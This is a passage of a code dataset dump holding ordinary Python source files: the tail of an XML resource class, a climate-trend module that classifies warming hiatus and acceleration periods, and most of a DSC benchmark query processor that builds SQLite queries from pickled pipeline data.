\"\\n\".join(self.listSDTables()))\n return result\n\n def __del__(self):\n \"\"\"\n The deletion of all internal variables.\n TODO\n \"\"\"\n pass\n","sub_path":"Test/testGBEXPORTFOLDER/classes/XMLResources.py","file_name":"XMLResources.py","file_ext":"py","file_size_in_byte":4240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"177683529","text":"\"\"\"\nFunctions calculate hiatus and accleration definitions\n \nNotes\n-----\n Author : Zachary Labe\n Date : 17 August 2021\n \nUsage\n-----\n [1] calc_thresholdOfTrend(data,trendlength,years,AGWstart,typeOfTrend)\n [2] calc_HiatusAcc(data,trendlength,years,AGWstart,SLOPEthresh,typeOfTrend)\n [3] combineEvents(hiatus,accel,typeOfData)\n\"\"\"\ndef calc_thresholdOfTrend(data,trendlength,years,AGWstart,typeOfTrend): \n \"\"\"\n Function calculates threshold for trend analysis of hiatus or acceleration\n\n Parameters\n ----------\n data : n-d numpy array\n data from selected data set\n trendlength : integer\n length of trend periods to calculate\n years : 1d array\n Original years of input data\n AGWstart : integer\n Start of data to calculate trends over\n typeOfTrend : string\n hiatus or accel\n \n Returns\n -------\n SLOPEthresh : float \n float of the actual trend for hiatus or acceleration\n obsdiff : float\n difference compared to mean decadal trencds and the hiatus/acceleration\n\n Usage\n -----\n SLOPEthresh,obsdiff = calc_thresholdOfTrend(data,trendlength,years,AGWstart,typeOfTrend)\n \"\"\"\n print('\\n>>>>>>>>>> Using calc_thresholdOfTrend function!')\n \n ### Import modules\n import numpy as np\n import sys\n \n if data.ndim == 1: \n ### Pick start of forced climate change\n yrq = np.where(years[:] >= AGWstart)[0]\n data = data[yrq]\n yearsnew = years[yrq]\n print('Years-Trend ---->\\n',yearsnew)\n \n ### Calculate trend periods\n yearstrend = np.empty((len(yearsnew)-trendlength+1,trendlength))\n datatrend = np.empty((len(yearsnew)-trendlength+1,trendlength))\n for hi in range(len(yearsnew)-(trendlength-1)):\n yearstrend[hi,:] = np.arange(yearsnew[hi],yearsnew[hi]+trendlength,1)\n datatrend[hi,:] = data[hi:hi+trendlength]\n\n ### Calculate trend lines \n linetrend = np.empty((len(yearsnew)-trendlength+1,2))\n for hi in range(len(yearsnew)-trendlength+1):\n linetrend[hi,:] = np.polyfit(yearstrend[hi],datatrend[hi],1)\n \n ### Slopes\n slope = linetrend[:,0]\n stdslope = np.nanstd(slope)\n meantrend = np.nanmean(slope)\n \n print('\\n**%s** is %s years long!' % (typeOfTrend,trendlength))\n print('-- Number of years is',yearsnew.shape[0],'and number of trends is',slope.shape[0],'--')\n \n if typeOfTrend == 'hiatus':\n SLOPEthresh = meantrend - (1*stdslope)\n obsdiff = abs(np.nanmin(slope) - meantrend)\n elif typeOfTrend == 'accel':\n SLOPEthresh = meantrend + (1*stdslope)\n obsdiff = np.nanmax(slope) - meantrend\n \n elif data.ndim == 2:\n ### Pick start of forced climate change\n yrq = np.where(years[:] >= AGWstart)[0]\n data = data[:,yrq]\n yearsnew = years[yrq]\n print('Years-Trend ---->\\n',yearsnew)\n \n ensmean = np.nanmean(data,axis=0)\n yearstrendens = np.empty((len(yearsnew)-trendlength+1,trendlength))\n datatrendens = np.empty((len(yearsnew)-trendlength+1,trendlength))\n for hi in range(len(yearsnew)-(trendlength-1)):\n yearstrendens[hi,:] = np.arange(yearsnew[hi],yearsnew[hi]+trendlength,1)\n datatrendens[hi,:] = ensmean[hi:hi+trendlength]\n\n ### Calculate trend lines \n linetrendens = np.empty((len(yearsnew)-trendlength+1,2))\n for hi in range(len(yearsnew)-trendlength+1):\n linetrendens[hi,:] = np.polyfit(yearstrendens[hi],datatrendens[hi],1)\n \n ### Slopes\n slopeens = linetrendens[:,0]\n stdslopeens = np.nanstd(slopeens)\n meantrendens = np.nanmean(slopeens) \n SLOPEthresh = slopeens\n obsdiff = np.nan\n \n else:\n print(ValueError('WRONG DIMENSIONS OF OBS!'))\n sys.exit()\n \n print('>>>>>>>>>> Ending calc_thresholdOfTrend function!')\n return SLOPEthresh,obsdiff\n\ndef calc_HiatusAcc(data,trendlength,years,AGWstart,SLOPEthresh,typeOfTrend,diffBase):\n \"\"\"\n Function calculates actual trend analysis of hiatus or acceleration in \n observations and climate model data\n\n Parameters\n ----------\n data : n-d numpy array\n data from selected data set\n trendlength : integer\n length of trend periods to calculate\n years : 1d array\n Original years of input data\n AGWstart : integer\n Start of data to calculate trends over\n SLOPEthresh : float\n float of the actual trend for hiatus or acceleration\n typeOfTrend : string\n hiatus or accel\n diffBase : float\n difference from mean trend trends and obs hiatus/acceleration events\n \n Returns\n -------\n yearstrend : 2-d array\n years calculated for each individual trend line\n linetrend : 2-d array\n slopes and intercepts for each trend line\n indexslopeNegative : n-d array\n index of hiatus or acceleration events\n classes : n-day array\n array of binary numbers for yes event or no event\n \n Usage\n -----\n yearstrend,linetrend,indexslopeNegative,classes = calc_HiatusAcc(data,trendlength,years,AGWstart,SLOPEthresh,typeOfTrend,diffBase)\n \"\"\"\n print('\\n>>>>>>>>>> Using calc_HiatusAcc function!')\n \n ### Import modules\n import numpy as np\n import sys\n \n hiatusSLOPE = SLOPEthresh\n \n if data.ndim == 1: \n yrq = np.where(years[:] >= AGWstart)[0]\n data = data[yrq]\n yearsnew = years[yrq]\n print('Years-Trend ---->\\n',yearsnew)\n \n ### Calculate trend periods\n yearstrend = np.empty((len(yearsnew)-trendlength+1,trendlength))\n datatrend = np.empty((len(yearsnew)-trendlength+1,trendlength))\n for hi in range(len(yearsnew)-(trendlength-1)):\n yearstrend[hi,:] = np.arange(yearsnew[hi],yearsnew[hi]+trendlength,1)\n datatrend[hi,:] = data[hi:hi+trendlength]\n\n ### Calculate trend lines \n linetrend = np.empty((len(yearsnew)-trendlength+1,2))\n for hi in range(len(yearsnew)-trendlength+1): \n linetrend[hi,:] = np.polyfit(yearstrend[hi],datatrend[hi],1)\n \n ### Count number of hiatus or acceleration periods\n slope = linetrend[:,0] \n if typeOfTrend == 'hiatus':\n indexslopeNegative = np.where((slope[:] <= hiatusSLOPE))[0]\n elif typeOfTrend == 'accel':\n indexslopeNegative = np.where((slope[:] > hiatusSLOPE))[0]\n else:\n print(ValueError('--- WRONG TYPE OF EVENT! ---'))\n sys.exit()\n print('INDEX OF **%s**---->' % typeOfTrend,indexslopeNegative)\n \n ### Calculate classes\n classes = np.zeros((len(yearsnew)))\n classes[indexslopeNegative] = 1\n \n elif data.ndim == 2:\n yrq = np.where(years[:] >= AGWstart)[0]\n data = data[:,yrq]\n yearsnew = years[yrq]\n print('Years-Trend ---->\\n',yearsnew)\n \n ens = len(data)\n \n ### Calculate trend periods\n yearstrend = np.empty((ens,len(yearsnew)-trendlength+1,trendlength))\n datatrend = np.empty((ens,len(yearsnew)-trendlength+1,trendlength))\n for e in range(ens):\n for hi in range(len(yearsnew)-trendlength+1):\n yearstrend[e,hi,:] = np.arange(yearsnew[hi],yearsnew[hi]+trendlength,1)\n datatrend[e,hi,:] = data[e,hi:hi+trendlength] \n \n ### Calculate trend lines\n linetrend = np.empty((ens,len(yearsnew)-trendlength+1,2))\n for e in range(ens):\n for hi in range(len(yearsnew)-trendlength+1):\n linetrend[e,hi,:] = np.polyfit(yearstrend[e,hi],datatrend[e,hi],1)\n \n ### Count number of hiatus periods\n slope = linetrend[:,:,0]\n\n if typeOfTrend == 'hiatus':\n indexslopeNegative = []\n for e in range(ens):\n hiatusSLOPEq = hiatusSLOPE-diffBase\n indexslopeNegativeyr = []\n for yr in range(hiatusSLOPEq.shape[0]):\n if slope[e,yr] <= hiatusSLOPEq[yr]:\n indexslopeNegativeyr.append(yr)\n indexslopeNegative.append(indexslopeNegativeyr)\n elif typeOfTrend == 'accel':\n indexslopeNegative = []\n for e in range(ens):\n hiatusSLOPEq = hiatusSLOPE+diffBase\n indexslopeNegativeyr = []\n for yr in range(hiatusSLOPEq.shape[0]):\n if slope[e,yr] > hiatusSLOPEq[yr]:\n indexslopeNegativeyr.append(yr)\n indexslopeNegative.append(indexslopeNegativeyr)\n else:\n print(ValueError('--- WRONG TYPE OF EVENT! ---'))\n sys.exit()\n \n ### Calculate classes\n classes = np.zeros((data.shape))\n for e in range(ens):\n classes[e,indexslopeNegative[e]] = 1\n \n print('\\n>>>>>>>>>> Ending calc_HiatusAcc function!') \n return yearstrend,linetrend,indexslopeNegative,classes\n\ndef combineEvents(hiatus,accel,typeOfData):\n \"\"\"\n Function calculates actual trend analysis of hiatus or acceleration in \n observations and climate model data\n\n Parameters\n ----------\n hiatus : n-d array\n binary array of hiatus events for all years in data\n accel : n-d array\n binary array of acceleration events for all years in data\n typeOfTrend : string\n hiatus or accel\n \n Returns\n -------\n classEVENTs : n-dy array\n array of classes for both hiatus and acceleration events (0,1,2)\n\n Usage\n -----\n classEVENTs = combineEvents(hiatus,accel,typeOfData)\n \"\"\"\n print('\\n>>>>>>>>>> Using combineEvents function!')\n \n ### Import modules\n import numpy as np\n import sys\n \n if typeOfData == 'obs':\n zerosAll = np.zeros((hiatus.shape))\n \n whereH = np.where((hiatus == 1.))[0]\n whereA = np.where((accel == 1.))[0]\n zerosAll[whereH] = 1.\n zerosAll[whereA] = 2.\n classEVENTs = zerosAll\n print(typeOfData)\n elif typeOfData == 'model':\n ens = len(hiatus)\n classEVENTs = np.empty((hiatus.shape))\n for e in range(ens):\n zerosAll = np.zeros((hiatus[e].shape))\n \n whereH = np.where((hiatus[e] == 1.))[0]\n whereA = np.where((accel[e] == 1.))[0]\n zerosAll[whereH] = 1.\n zerosAll[whereA] = 2.\n classEVENTs[e,:] = zerosAll\n print(typeOfData)\n else:\n print(ValueError('WRONG TYPE OF DATA SET!'))\n sys.exit()\n \n print('>>>>>>>>>> Ending combineEvents function!')\n return classEVENTs","sub_path":"Dark_Scripts/calc_Hiatus_v2.py","file_name":"calc_Hiatus_v2.py","file_ext":"py","file_size_in_byte":10850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"36003342","text":"#!/usr/bin/env python\n__author__ = \"Gao Wang\"\n__copyright__ = \"Copyright 2016, Stephens lab\"\n__email__ = \"gaow@uchicago.edu\"\n__license__ = \"MIT\"\nimport os, re, pickle\nimport pandas as pd, numpy as np\nfrom .utils import uniq_list, case_insensitive_uniq_list, flatten_list, filter_sublist, FormatError, DBError, logger\nfrom .yhat_sqldf import sqldf\nfrom .line import parse_filter\n\n# keywords for SQLite\n# https://www.sqlite.org/lang_keywords.html\nSQLITE_KEYWORDS = set([\n 'ABORT', 'ACTION', 'ADD', 'AFTER', 'ALL', 'ALTER', 'ANALYZE', 'AND', 'AS',\n 'ASC', 'ATTACH', 'AUTOINCREMENT', 'BEFORE', 'BEGIN', 'BETWEEN', 'BY',\n 'CASCADE', 'CASE', 'CAST', 'CHECK', 'COLLATE', 'COLUMN', 'COMMIT',\n 'CONFLICT', 'CONSTRAINT', 'CREATE', 'CROSS', 'CURRENT', 'CURRENT_DATE',\n 'CURRENT_TIME', 'CURRENT_TIMESTAMP', 'DATABASE', 'DEFAULT', 'DEFERRABLE',\n 'DEFERRED', 'DELETE', 'DESC', 'DETACH', 'DISTINCT', 'DO', 'DROP', 'EACH',\n 'ELSE', 'END', 'ESCAPE', 'EXCEPT', 'EXCLUSIVE', 'EXISTS', 'EXPLAIN',\n 'FAIL', 'FILTER', 'FOLLOWING', 'FOR', 'FOREIGN', 'FROM', 'FULL', 'GLOB',\n 'GROUP', 'HAVING', 'IF', 'IGNORE', 'IMMEDIATE', 'IN', 'INDEX', 'INDEXED',\n 'INITIALLY', 'INNER', 'INSERT', 'INSTEAD', 'INTERSECT', 'INTO', 'IS',\n 'ISNULL', 'JOIN', 'KEY', 'LEFT', 'LIKE', 'LIMIT', 'MATCH', 'NATURAL', 'NO',\n 'NOT', 'NOTHING', 'NOTNULL', 'NULL', 'OF', 'OFFSET', 'ON', 'OR', 'ORDER',\n 'OUTER', 'OVER', 'PARTITION', 'PLAN', 'PRAGMA', 'PRECEDING', 'PRIMARY',\n 'QUERY', 'RAISE', 'RANGE', 'RECURSIVE', 'REFERENCES', 'REGEXP', 'REINDEX',\n 'RELEASE', 'RENAME', 'REPLACE', 'RESTRICT', 'RIGHT', 'ROLLBACK', 'ROW',\n 'ROWS', 'SAVEPOINT', 'SELECT', 'SET', 'TABLE', 'TEMP', 'TEMPORARY', 'THEN',\n 'TO', 'TRANSACTION', 'TRIGGER', 'UNBOUNDED', 'UNION', 'UNIQUE', 'UPDATE',\n 'USING', 'VACUUM', 'VALUES', 'VIEW', 'VIRTUAL', 'WHEN', 'WHERE', 'WINDOW',\n 'WITH', 'WITHOUT'\n])\n\nNA = None\n\n\ndef find_partial_index(xx, ordering):\n for ii, i in enumerate(ordering):\n if xx.startswith(i):\n return ii\n if xx.split('.')[1] == 'DSC_REPLICATE':\n return -1\n raise ValueError(f'{xx} not in list {ordering}')\n\n\nclass Query_Processor:\n def __init__(self, db, targets, condition=None, groups=None):\n self.db = db\n self.targets = uniq_list(' '.join(targets).split())\n self.raw_condition = condition\n with open(os.path.expanduser(db), 'rb') as f:\n self.data = pickle.load(f)\n # table: msg map\n self.field_warnings = {}\n if '.groups' in self.data:\n self.groups = self.data['.groups']\n else:\n self.groups = dict()\n if '.depends' in self.data:\n self.depends = dict([\n (k, uniq_list(flatten_list(self.data['.depends'][k])))\n for k in self.data['.depends']\n ])\n else:\n self.depends = None\n # https://github.com/stephenslab/dsc/issues/202\n self.output_checklist = dict(valid={}, invalid={})\n # 1. Check overlapping groups and fix the case when some module in the group has some parameter but others do not\n # changes will be applied to self.data\n self.groups.update(self.get_grouped_tables(groups))\n self.check_overlapping_groups()\n self.add_na_group_parameters()\n # 2. Get query targets and conditions\n self.target_tables = self.get_table_fields(self.targets)\n self.check_output_variables()\n self.condition, self.condition_tables = parse_filter(\n condition, groups=self.groups)\n # 3. only keep tables that do exist in database\n self.target_tables = self.filter_tables(self.target_tables)\n self.condition_tables = self.filter_tables(self.condition_tables)\n # 4. identify and extract which part of each pipeline are involved\n # based on tables in target / condition\n # input pipelines (from data) are:\n # [('rnorm', 'mean', 'MSE'), ('rnorm', 'median', 'MSE'), ... ('rt', 'winsor', 'MSE')]\n self.pipelines, self.target_tables, self.condition_tables = self.filter_pipelines(\n self.data['.pipelines'])\n # 5. make select / from / where clause\n select_clauses = self.get_select_clause()\n from_clauses = self.get_from_clause()\n where_clauses = self.get_where_clause()\n self.queries = uniq_list([\n ' '.join(x)\n for x in list(zip(*[select_clauses, from_clauses, where_clauses]))\n ])\n # 6. run queries\n self.output_tables = self.run_queries()\n # 7. merge table\n self.output_table = self.merge_tables()\n # 8. fillna\n self.fillna()\n # 9. finally show warnings\n self.warn()\n\n @staticmethod\n def legalize_name(name, kw=False):\n # FIXME: have to ensure keywords conflict is supported\n if name is None:\n return name\n output = ''\n for x in name:\n if re.match(r'^[a-zA-Z0-9_]+$', x):\n output += x\n else:\n output += '_'\n if re.match(r'^[0-9][a-zA-Z0-9_]+$',\n output) or (output.upper() in SQLITE_KEYWORDS and kw):\n output = '_' + output\n return output\n\n def check_table_field(self, value, check_field=0):\n '''\n Input is (table, field)\n output is if they are valid\n check_field: zero for not check, 1 for check SELECT statement, 2 for check WHERE statement\n '''\n x, y = value\n if x != self.legalize_name(x):\n raise DBError(f\"Invalid module specification ``{x}``\")\n keys_lower = [k.lower() for k in self.data.keys()]\n if not x.lower() in keys_lower:\n raise DBError(\n f\"``{x}`` does not define a module or a group of modules in current DSC benchmark.\"\n )\n if y == 'DSC_TIME':\n return\n k = list(self.data.keys())[keys_lower.index(x.lower())]\n y_low = y.lower()\n if y_low == 'dsc_replicate':\n raise DBError(\n f'Cannot query on ``DSC_REPLICATE`` in module ``{k}``')\n if y_low in [i.lower() for i in self.data[k]] and y_low in [\n i.lower() for i in self.data['.output'][k]\n ] and check_field == 1:\n self.field_warnings[\n k] = f\"Variable ``{y}`` is both parameter and output in module ``{k}``. Parameter variable ``{y}`` is extracted. To obtain output variable ``{y}`` please use ``{k}.output.{y}`` to specify the query target.\"\n if not y_low in [i.lower() for i in self.data[k]] and check_field == 2:\n raise DBError(f\"Cannot find column ``{y}`` in table ``{k}``\")\n if y_low.startswith('output.'):\n y_low = y_low[7:]\n if check_field == 1:\n if y_low not in [i.lower() for i in self.data[k]] and y_low not in [\n i.lower() for i in self.data['.output'][k]]:\n try:\n self.output_checklist['invalid'][y].append(k)\n except Exception:\n self.output_checklist['invalid'][y] = [k]\n else:\n try:\n self.output_checklist['valid'][y].append(k)\n except Exception:\n self.output_checklist['valid'][y] = [k]\n return\n\n def check_output_variables(self):\n for k in self.output_checklist['invalid']:\n if k not in self.output_checklist['valid']:\n raise DBError(f\"Cannot find variable ``{k}`` in module ``{', '.join(self.output_checklist['invalid'][k])}``\")\n # check if the variable is in the same group\n # eg, {'valid': {'alpha': ['elastic_net'], 'beta': ['ridge', 'elastic_net']}, 'invalid': {'alpha': ['ridge']}}\n # is okay because of group {'fit': ['ridge', 'elastic_net']}\n for i in self.output_checklist['invalid'][k]:\n is_valid = []\n for j in self.output_checklist['valid'][k]:\n is_valid.extend([set([i,j]).issubset(set(s)) for g,s in self.groups.items()])\n if not any(is_valid):\n raise DBError(f\"Cannot find variable ``{k}`` in module ``{i}``\")\n return\n\n\n @staticmethod\n def get_grouped_tables(groups):\n '''\n input is g: m1, m2\n output is {g: [m1, m2]}\n '''\n if groups is None:\n return []\n res = dict()\n for g in groups:\n if len(g.split(':')) != 2:\n raise FormatError(\n f\"Invalid module group option ``{g}``. Please use format ``group: module1, module2``\"\n )\n g = tuple(x.strip() for x in g.split(':'))\n v = uniq_list([\n x.strip() for x in re.split(r',\\s+|\\s+|,', g[1]) if x.strip()\n ])\n if g[0] in v:\n raise FormatError(\n f\"Invalid group option: module group name ``{g[0]}``conflicts with module name ``{g[0]}``.\"\n )\n res[g[0]] = v\n return res\n\n def check_overlapping_groups(self):\n # for between groups\n for k in list(self.groups.keys()):\n if len(self.groups[k]) == 0:\n del self.groups[k]\n for i, k1 in enumerate(self.groups.keys()):\n for j, k2 in enumerate(self.groups.keys()):\n if i > j:\n overlap = set(self.groups[k1]).intersection(\n set(self.groups[k2]))\n if len(overlap):\n raise DBError(\n f\"Overlapping groups ``{k1}: {', '.join(self.groups[k1])}`` and ``{k2}: {', '.join(self.groups[k2])}`` is not allowed! You should drop the one that causes the conflict, or use, eg, -g \\\"{k1}:\\\" to erase the other one if it is build-in.\"\n )\n # for mixing up group and modules in the group\n # FIXME: only check it in targets not conditions\n # possibly a wontfix\n targets = [x.split('.')[0] for x in self.targets]\n modules = [x for x in targets if x not in self.groups]\n groups = [x for x in targets if x in self.groups]\n modules_in_groups = flatten_list([self.groups[k] for k in groups])\n for item in modules:\n if item in modules_in_groups:\n for k in self.groups:\n if item in self.groups[k]:\n raise DBError(\n f\"Query targets cannot involve both ``{item}`` and ``{k}``, i.e., a module and a group containing that module.\"\n )\n\n def add_na_group_parameters(self):\n if len(self.groups) == 0:\n return\n for group in list(self.groups.keys()):\n params = uniq_list(\n flatten_list([\n self.data[item].columns.tolist()\n for item in self.groups[group] if item in self.data\n ]))\n if len(params) == 0:\n # group is not used\n del self.groups[group]\n continue\n params = [\n x for x in params if x not in\n ['__id__', '__parent__', '__output__', 'DSC_REPLICATE']\n ]\n for param in params:\n for module in self.groups[group]:\n if module not in self.data:\n continue\n if param not in self.data[module].columns:\n self.data[module][param] = np.nan\n\n def get_table_fields(self, values):\n '''\n input is lists of strings\n output should be lists of tuples\n [(table, field), (table, field) ...]\n '''\n res = []\n for item in ' '.join(values).split():\n if re.search('^\\w+\\.\\w+$', item) or re.search(\n '^\\w+\\.output.\\w+$', item):\n item, y = item.split('.', 1)\n if not y:\n raise FormatError(f\"Field for module ``{item}`` is empty.\")\n else:\n y = '__output__'\n if item in self.groups:\n item = self.groups[item]\n else:\n item = [item]\n for x in item:\n self.check_table_field((x, y), 1)\n res.append((x, y))\n return res\n\n def filter_tables(self, tables):\n return uniq_list([\n x for x in tables if x[0].lower() in\n [y.lower() for y in self.data.keys() if not y.startswith('.')]\n ])\n\n def filter_pipelines(self, pipelines):\n '''\n for each pipeline extract the sub pipeline that the query involves\n '''\n def get_sequence(primary, reference, warnings):\n '''\n tracing back dependencies\n eg, input is primary = ['mnm_identity'], reference = ['oracle_generator', 'small_data', 'identity', 'mnm_identity']\n output is ['mnm_identity', 'identity', 'small_data'] because small_data provides DSC_REPLICATE and oracle_generator is no longer needed.\n '''\n reference = list(reversed(reference))\n primary = sorted(case_insensitive_uniq_list(primary),\n key=lambda x: reference.index(x))\n while True:\n previous_primary = primary\n for item in primary:\n if self.depends is not None:\n depends = [\n d for d in self.depends[item] if d in reference\n ]\n else:\n depends = [reference[reference.index(item) + 1]] if (\n reference.index(item) < len(reference) -\n 1) else []\n if len(depends) > 0:\n # there is a dependency, let's see if it is already asked for in query targets\n existing_dependents = [\n x for x in depends if x in primary\n ]\n if len(existing_dependents) == len(depends):\n continue\n # there are additional dependencies not yet in query targets\n # we need to get them, by grabing the most downstream one.\n # I think it should be enough?\n depend_step = reference[min([\n reference.index(dd) for dd in depends\n if dd not in existing_dependents\n ])]\n if depend_step not in primary:\n primary.append(depend_step)\n primary = sorted(case_insensitive_uniq_list(primary),\n key=lambda x: reference.index(x))\n if primary == previous_primary:\n break\n # a sequence can lose dependency half-way\n # in which case an warning message will be given\n idx = 0\n while idx < (len(primary) - 1):\n item = primary[idx]\n if self.depends is not None and primary[\n idx + 1] not in self.depends[item]:\n warnings.append(\n f'Requested/intermediate module ``{primary[idx+1]}`` is not connected to module ``{item}``; thus removed from sub-query involving module ``{item}``.'\n )\n del primary[idx + 1]\n idx -= 1\n idx += 1\n return primary\n\n #\n valid_tables = [[\n item[0] for item in self.target_tables + self.condition_tables\n if item[0] in pipeline\n ] for pipeline in pipelines]\n # 1. Further filter pipelines to minimally match target table dependencies\n # 2. For pipelines containing each other we only keep the longest pipelines\n warnings = []\n long_pipelines = filter_sublist([\n get_sequence(tables, pipeline, warnings)\n for tables, pipeline in zip(valid_tables, pipelines)\n ])\n if len(warnings):\n for item in uniq_list(warnings):\n logger.warning(item)\n target_tables = [[\n item for item in self.target_tables if item[0] in pipeline\n ] for pipeline in long_pipelines]\n condition_tables = [[\n item for item in self.condition_tables if item[0] in pipeline\n ] for pipeline in long_pipelines]\n non_empty_targets = [\n idx for idx, item in enumerate(target_tables) if len(item) > 0\n ]\n return [long_pipelines[i] for i in non_empty_targets\n ], [target_tables[i] for i in non_empty_targets\n ], [condition_tables[i] for i in non_empty_targets]\n\n def get_from_clause(self):\n res = [f'FROM \"{sequence[0]}\" ' + ' '.join(['INNER JOIN \"{1}\" ON \"{0}\".__parent__ = \"{1}\".__id__'.format(sequence[i], sequence[i+1]) for i in range(len(sequence) - 1)]).strip() \\\n for sequence in self.pipelines]\n return res\n\n def get_one_select_clause(self, pipeline, tables):\n clause = []\n fields = []\n tables = [(pipeline[-1], 'DSC_REPLICATE')] + tables\n for item in tables:\n fields.append('.'.join(item) if item[1] else item[0])\n if item[1] is None:\n clause.append(\"'{0}' AS {0}\".format(item[0]))\n else:\n idx = [\n x for x in self.data.keys()\n if x.lower() == item[0].lower()\n ][0]\n if item[1].lower() not in [\n x.lower() for x in self.data[idx].keys()\n ]:\n clause.append('\"{0}\".__output__ AS {0}_DSC_VAR_{1}'.\\\n format(item[0], item[1] if not item[1].startswith('output.') else item[1][7:]))\n else:\n if item[1] == '__output__':\n clause.append('\"{0}\".{1} AS {0}_DSC_OUTPUT_'.format(\n item[0], item[1]))\n else:\n clause.append('\"{0}\".{1} AS {0}_DSC_FIELD_{1}'.format(\n item[0], item[1]))\n clause = \"SELECT \" + ', '.join(clause)\n return clause, tables, fields\n\n @staticmethod\n def match_targets(tables, fields):\n '''\n make sure fields in query do match required targets\n 1. Expand query by groups\n 2. Check for equality\n '''\n def split(items):\n tb = set()\n fl = set()\n for item in items:\n item = item.split('.')\n # if item[1] == 'DSC_REPLICATE'\n # continue\n tb.add(item[0])\n if len(item) > 1:\n fl.add(item[1])\n return tb, fl\n\n #\n targets = [f'{x[0]}.{x[1]}' for x in tables]\n fields = split(fields)\n targets = split(targets)\n if fields[0].issubset(targets[0]) and fields[1] == targets[1]:\n return True\n else:\n return False\n\n def get_select_clause(self):\n select = []\n for pipeline, tables in zip(self.pipelines, self.target_tables):\n clause, tables, fields = self.get_one_select_clause(\n pipeline, tables)\n if not self.match_targets(tables, fields):\n continue\n select.append(clause)\n return select\n\n def get_where_clause(self):\n return [\n self.get_one_where_clause(t, c, p) for t, c, p in zip(\n self.target_tables, self.condition_tables, self.pipelines)\n ]\n\n def get_one_where_clause(self, target_tables, condition_tables, pipeline):\n '''\n After expanding, condition is a list of list\n the outer lists are connected by OR\n the inner lists are connected by AND\n '''\n select_tables = case_insensitive_uniq_list(\n [x[0] for x in target_tables])\n valid_tables = [\n x[0] for x in condition_tables if x[0] in select_tables + pipeline\n ]\n # to decide which part of the conditions is relevant to which pipeline we have to\n # dissect it to reveal table/field names\n condition = []\n for each_and in self.condition:\n tmp = []\n for value in each_and:\n if isinstance(value, tuple):\n self.check_table_field(value[1], 2)\n value = [value]\n else:\n for vv in value:\n self.check_table_field(vv[1], 2)\n valid_idx = [\n idx for idx, vv in enumerate(value)\n if vv[1][0] in valid_tables\n ]\n if len(valid_idx) >= 1:\n value = ' OR '.join([\n f'{value[i][0]} (\"{value[i][1][0]}\".{value[i][1][1]} {value[i][2]} {value[i][3]})'\n if len(value[i][0]) else\n f'\"{value[i][1][0]}\".{value[i][1][1]} {value[i][2]} {value[i][3]}'\n for i in valid_idx\n ])\n if len(valid_idx) > 1:\n tmp.append(f\"({value})\")\n else:\n tmp.append(value)\n else:\n pass\n if len(tmp):\n condition.append(tmp)\n if len(condition):\n return \"WHERE \" + ' OR '.join([\n '(' + ' AND '.join([f\"({y})\" for y in x]) + ')'\n for x in condition\n ])\n else:\n return ''\n\n @staticmethod\n def adjust_table(table, ordering=None):\n if len(table) == 0:\n return None\n table = pd.DataFrame(table)\n rename = dict()\n for x in table:\n org = x\n if '_DSC_VAR_' in x:\n x = x.replace('_DSC_VAR_', '.') + \":output\"\n if '_DSC_FIELD_' in x:\n x = x.replace('_DSC_FIELD_', '.')\n if '_DSC_OUTPUT_' in x:\n x = x.replace('_DSC_OUTPUT_', '.output.file')\n if org != x:\n rename[org] = x\n if ordering is None:\n table = table[sorted([x for x in table if \"_DSC_VAR_\" not in x]) + \\\n sorted([x for x in table if \"_DSC_VAR_\" in x])].rename(columns = rename)\n else:\n table = table[sorted(\n table.columns,\n key=lambda x: find_partial_index(x, ordering))].rename(\n columns=rename)\n return table\n\n def merge_tables(self):\n common_keys = [t.columns for t in self.output_tables.values()]\n common_keys = list(set(common_keys[0]).intersection(*common_keys))\n table = pd.concat(self.output_tables.values(),\n join='outer',\n ignore_index=True,\n sort=False)\n to_drop = []\n targets = uniq_list([x.split('.', 1)[0] for x in self.targets])\n for g in self.groups:\n if g not in targets:\n continue\n # For each group, find common fields to merge\n # FIXME: the continue / break / reorder logic works here,\n # but can possibly be optimized\n to_merge = dict()\n ordered_group = []\n for col in table.columns:\n for k in self.groups[g]:\n if not col.startswith(k + '.'):\n continue\n if k not in ordered_group:\n ordered_group.append(k)\n k = col[len(k):]\n if k not in to_merge:\n to_merge[k] = []\n to_merge[k].append(col)\n break\n self.groups[g] = ordered_group\n # handle non-trivial groups first\n to_merge = dict(\n sorted(to_merge.items(),\n key=lambda kv: (len(kv[1]), kv[0]),\n reverse=True))\n for k in to_merge:\n if len(ordered_group) > 1:\n table[f'{g}{k}'] = table.loc[:,\n to_merge[k]].apply(tuple, 1)\n non_na_idx = table[f'{g}{k}'].apply(lambda x: tuple(\n [idx for idx, y in enumerate(x) if y == y]))\n if not all([len(x) <= 1 for x in non_na_idx]):\n raise DBError(\n f'Modules ``{to_merge[k]}`` cannot be grouped into ``{g}{k}`` due to collating entries.'\n )\n table[f'{g}{k}'] = table[f'{g}{k}'].apply(\n lambda x: [y for y in x if y == y][0]\n if len([y for y in x if y == y]) else NA)\n if g not in table:\n table[g] = [\n self.groups[g][kk[0]] if len(kk) else NA\n for kk in non_na_idx\n ]\n else:\n # it is a trivial group\n # simply rename it\n table[f'{g}{k}'] = table[to_merge[k][0]]\n table[g] = [\n kk for kk in self.groups[g]\n if to_merge[k][0].startswith(kk + '.')\n ][0]\n to_drop.extend(to_merge.values())\n #\n table.drop(set(sum(to_drop, [])), axis=1, inplace=True)\n # Adjust column name / ordering\n targets = flatten_list([[x] + self.groups[x] if x in self.groups else x\n for x in targets])\n table = table.rename(columns={g: f'{g}:id' for g in self.groups})\n table = table[sorted(\n table.columns,\n key=lambda x:\n (find_partial_index(x, targets), not x.endswith(':id')))]\n table = table.rename(columns={f'{g}:id': g for g in self.groups})\n # Finally deal with the `DSC_REPLICATE` column\n rep_cols = [x for x in table.columns if x.endswith('.DSC_REPLICATE')]\n table.insert(\n 0, 'DSC',\n table.loc[:, rep_cols].apply(lambda x: tuple(x.dropna().tolist()),\n 1))\n if not all(table['DSC'].apply(len) == 1):\n raise DBError(\n f'(Possible bug) DSC replicates cannot be merged due to collating entries.'\n )\n table['DSC'] = table['DSC'].apply(lambda x: int(x[0]))\n table.drop(columns=rep_cols, inplace=True)\n return table\n\n def fillna(self):\n self.output_table.fillna('NA', inplace=True)\n for k in self.output_tables:\n self.output_tables[k].fillna('NA', inplace=True)\n\n def consolidate_subrows(self):\n # situations 1:\n # now in some situations, eg methods fail systematically,\n # or groups completely non-overlapping, that might result in\n # creating blocks of missing structure.\n # We should consolidate them\n ## FIXME: disable this feature because it is not clear whether or not this is good idea\n ## without trying to guess the context (by 